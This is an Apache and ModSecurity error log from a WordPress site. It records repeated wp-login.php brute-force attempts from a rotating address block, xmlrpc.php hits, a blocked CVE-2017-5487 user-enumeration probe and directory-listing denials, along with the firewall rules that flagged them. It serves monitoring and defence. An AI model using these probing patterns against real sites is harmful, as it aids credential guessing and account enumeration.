[Wed Dec 17 13:31:02.349605 2025] [:error] [pid 45531:tid 45583] [client 173.239.224.177:44599] [client 173.239.224.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAFojuE-Fd-sBWjvX2WgAAAFQ"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:31:08.933674 2025] [:error] [pid 45531:tid 45568] [client 173.239.224.177:44599] [client 173.239.224.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAHIjuE-Fd-sBWjvX2YQAAAEU"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:31:17.876272 2025] [:error] [pid 45532:tid 45603] [client 173.239.224.184:38103] [client 173.239.224.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAJQeWB-JXOyTKNs2wTAAAAI0"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:31:23.167051 2025] [:error] [pid 45532:tid 45595] [client 173.239.224.184:38103] [client 173.239.224.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAKweWB-JXOyTKNs2wVQAAAIU"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:31:32.399198 2025] [:error] [pid 45531:tid 45571] [client 173.239.224.177:62359] [client 173.239.224.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJANIjuE-Fd-sBWjvX2cAAAAEg"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:31:38.850760 2025] [:error] [pid 45531:tid 45572] [client 173.239.224.177:62359] [client 173.239.224.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAOojuE-Fd-sBWjvX2dgAAAEk"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:31:43.380118 2025] [:error] [pid 11733:tid 11750] [client 173.239.224.199:35621] [client 173.239.224.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAPzzmtBRXExJb1PF7MAAAAQ8"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:31:47.540415 2025] [:error] [pid 11733:tid 11745] [client 173.239.224.199:35621] [client 173.239.224.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAQzzmtBRXExJb1PF7NwAAAQo"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:31:55.604653 2025] [:error] [pid 45532:tid 45614] [client 173.239.224.187:29341] [client 173.239.224.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJASweWB-JXOyTKNs2wcgAAAJg"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:32:00.334744 2025] [:error] [pid 45532:tid 45595] [client 173.239.224.187:29341] [client 173.239.224.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAUAeWB-JXOyTKNs2wgwAAAIU"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:32:48.241272 2025] [:error] [pid 45532:tid 45601] [client 173.239.224.188:38321] [client 173.239.224.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAgAeWB-JXOyTKNs2xHwAAAIs"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:33:00.640964 2025] [:error] [pid 45530:tid 45553] [client 173.239.224.192:25215] [client 173.239.224.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAjG4IsXcKlf7LWf9VjAAAABI"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:33:05.912891 2025] [:error] [pid 45530:tid 45538] [client 173.239.224.192:25215] [client 173.239.224.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAkW4IsXcKlf7LWf9VmAAAAAM"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:33:19.895598 2025] [:error] [pid 45530:tid 45551] [client 173.239.224.201:60481] [client 173.239.224.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAn24IsXcKlf7LWf9VqgAAABA"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:33:24.033133 2025] [:error] [pid 45530:tid 45555] [client 173.239.224.201:60481] [client 173.239.224.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJApG4IsXcKlf7LWf9VswAAABQ"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:33:40.489546 2025] [:error] [pid 45621:tid 45634] [client 173.239.224.200:52901] [client 173.239.224.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAtOVNGQfJ1rR90pTJwgAAAMg"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:33:46.095008 2025] [:error] [pid 45621:tid 45644] [client 173.239.224.200:52901] [client 173.239.224.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAuuVNGQfJ1rR90pTJ0QAAANI"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:33:53.243847 2025] [:error] [pid 45532:tid 45594] [client 173.239.224.195:40265] [client 173.239.224.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAwQeWB-JXOyTKNs2xiwAAAIQ"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:33:57.212389 2025] [:error] [pid 45532:tid 45611] [client 173.239.224.195:40265] [client 173.239.224.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAxQeWB-JXOyTKNs2xjwAAAJU"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:34:03.104864 2025] [:error] [pid 11733:tid 11755] [client 173.239.224.181:55481] [client 173.239.224.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAyzzmtBRXExJb1PF8RgAAARQ"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:34:07.623256 2025] [:error] [pid 11733:tid 11749] [client 173.239.224.181:55481] [client 173.239.224.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAzzzmtBRXExJb1PF8VQAAAQ4"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:34:09.991105 2025] [:error] [pid 11733:tid 11755] [client 173.239.224.186:44971] [client 173.239.224.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJA0TzmtBRXExJb1PF8WAAAARQ"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:34:15.761887 2025] [:error] [pid 11733:tid 11743] [client 173.239.224.186:44971] [client 173.239.224.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJA1zzmtBRXExJb1PF8dAAAAQg"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:34:22.084017 2025] [:error] [pid 45621:tid 45641] [client 173.239.224.198:37531] [client 173.239.224.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJA3uVNGQfJ1rR90pTKIAAAAM8"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:34:26.351084 2025] [:error] [pid 45621:tid 45639] [client 173.239.224.198:37531] [client 173.239.224.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJA4uVNGQfJ1rR90pTKJAAAAM0"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:34:50.653224 2025] [:error] [pid 45532:tid 45613] [client 173.239.224.200:24053] [client 173.239.224.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJA-geWB-JXOyTKNs2yDAAAAJc"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:35:15.341372 2025] [:error] [pid 11733:tid 11756] [client 173.239.224.190:21387] [client 173.239.224.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBEzzmtBRXExJb1PF9FwAAARU"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:35:20.376386 2025] [:error] [pid 11733:tid 11751] [client 173.239.224.190:21387] [client 173.239.224.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBGDzmtBRXExJb1PF9MAAAARA"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:35:29.108798 2025] [:error] [pid 11733:tid 11736] [client 173.239.224.180:43325] [client 173.239.224.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBITzmtBRXExJb1PF9PQAAAQE"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:35:34.160964 2025] [:error] [pid 11733:tid 11739] [client 173.239.224.180:43325] [client 173.239.224.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBJjzmtBRXExJb1PF9SAAAAQQ"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:35:37.414599 2025] [:error] [pid 11733:tid 11755] [client 173.239.224.176:36873] [client 173.239.224.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBKTzmtBRXExJb1PF9UwAAARQ"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:35:43.127608 2025] [:error] [pid 11733:tid 11735] [client 173.239.224.176:36873] [client 173.239.224.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBLzzmtBRXExJb1PF9YgAAAQA"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:35:45.544097 2025] [:error] [pid 45621:tid 45636] [client 173.239.224.193:38287] [client 173.239.224.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBMeVNGQfJ1rR90pTK6AAAAMo"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:35:58.359259 2025] [:error] [pid 45532:tid 45596] [client 173.239.224.192:51073] [client 173.239.224.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBPgeWB-JXOyTKNs2yigAAAIY"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:36:01.176128 2025] [:error] [pid 45532:tid 45611] [client 173.239.224.202:46789] [client 173.239.224.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBQQeWB-JXOyTKNs2yjQAAAJU"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:36:06.271670 2025] [:error] [pid 45532:tid 45614] [client 173.239.224.202:46789] [client 173.239.224.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBRgeWB-JXOyTKNs2ymQAAAJg"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:36:11.388511 2025] [:error] [pid 11733:tid 11742] [client 173.239.224.191:37547] [client 173.239.224.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBSzzmtBRXExJb1PF9lAAAAQc"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:36:16.212523 2025] [:error] [pid 11733:tid 11738] [client 173.239.224.191:37547] [client 173.239.224.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBUDzmtBRXExJb1PF9mQAAAQM"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:36:24.114540 2025] [:error] [pid 45621:tid 45637] [client 173.239.224.186:42205] [client 173.239.224.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBWOVNGQfJ1rR90pTLCwAAAMs"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:36:31.303713 2025] [:error] [pid 45621:tid 45644] [client 173.239.224.186:42205] [client 173.239.224.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBX-VNGQfJ1rR90pTLEwAAANI"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:36:55.240056 2025] [:error] [pid 11733:tid 11737] [client 173.239.224.175:52171] [client 173.239.224.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJBdzzmtBRXExJb1PF9vgAAAQI"], referer: https://gigfragments.org/wp-admin/
[Thu Dec 18 00:38:07.968936 2025] [:error] [pid 43580:tid 43582] [client 38.210.49.172:57083] [client 38.210.49.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.210.49.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aULcb9w5Ex8-DN38kP3h8gAAAIA"]
[Thu Dec 18 01:19:04.849004 2025] [:error] [pid 43494:tid 43542] [client 110.166.71.39:37088] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aULmCOpvK2pzfvdDETp0lwAAAE8"]
[Thu Dec 18 03:16:06.534661 2025] [:error] [pid 43580:tid 43590] [client 38.210.49.172:53646] [client 38.210.49.172] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aUMBdtw5Ex8-DN38kP0CXgAAAIg"]
[Thu Dec 18 03:17:22.469072 2025] [:error] [pid 26117:tid 26171] [client 38.210.49.172:50313] [client 38.210.49.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.210.49.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUMBwjGiVc9lQS6PcL39UwAAAVU"]
[Thu Dec 18 03:18:12.704847 2025] [:error] [pid 43580:tid 43595] [client 38.210.49.172:61287] [client 38.210.49.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.210.49.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUMB9Nw5Ex8-DN38kP0DHQAAAI0"]
[Thu Dec 18 03:19:21.730812 2025] [:error] [pid 26117:tid 26172] [client 38.210.49.172:55511] [client 38.210.49.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.210.49.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUMCOTGiVc9lQS6PcL3-dAAAAVY"]
[Thu Dec 18 03:20:30.349586 2025] [:error] [pid 26117:tid 26151] [client 38.210.49.172:64009] [client 38.210.49.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.210.49.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUMCfjGiVc9lQS6PcL3_HgAAAUI"]
[Thu Dec 18 03:21:28.455120 2025] [:error] [pid 43495:tid 43575] [client 38.210.49.172:57162] [client 38.210.49.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.210.49.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUMCuJPwJsDLQYFUP-ZcBQAAANU"]
[Thu Dec 18 06:16:31.248836 2025] [autoindex:error] [pid 61373:tid 61397] [client 74.7.241.54:42954] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:16:35.745439 2025] [autoindex:error] [pid 61373:tid 61394] [client 74.7.241.54:42954] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor-pro/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:50:10.198776 2025] [autoindex:error] [pid 23557:tid 23588] [client 193.19.109.209:63771] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:50:10.638370 2025] [autoindex:error] [pid 23557:tid 23594] [client 193.19.109.209:63771] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:50:11.178138 2025] [autoindex:error] [pid 23557:tid 23605] [client 193.19.109.209:63771] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:50:11.665777 2025] [autoindex:error] [pid 23557:tid 23602] [client 193.19.109.209:63771] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
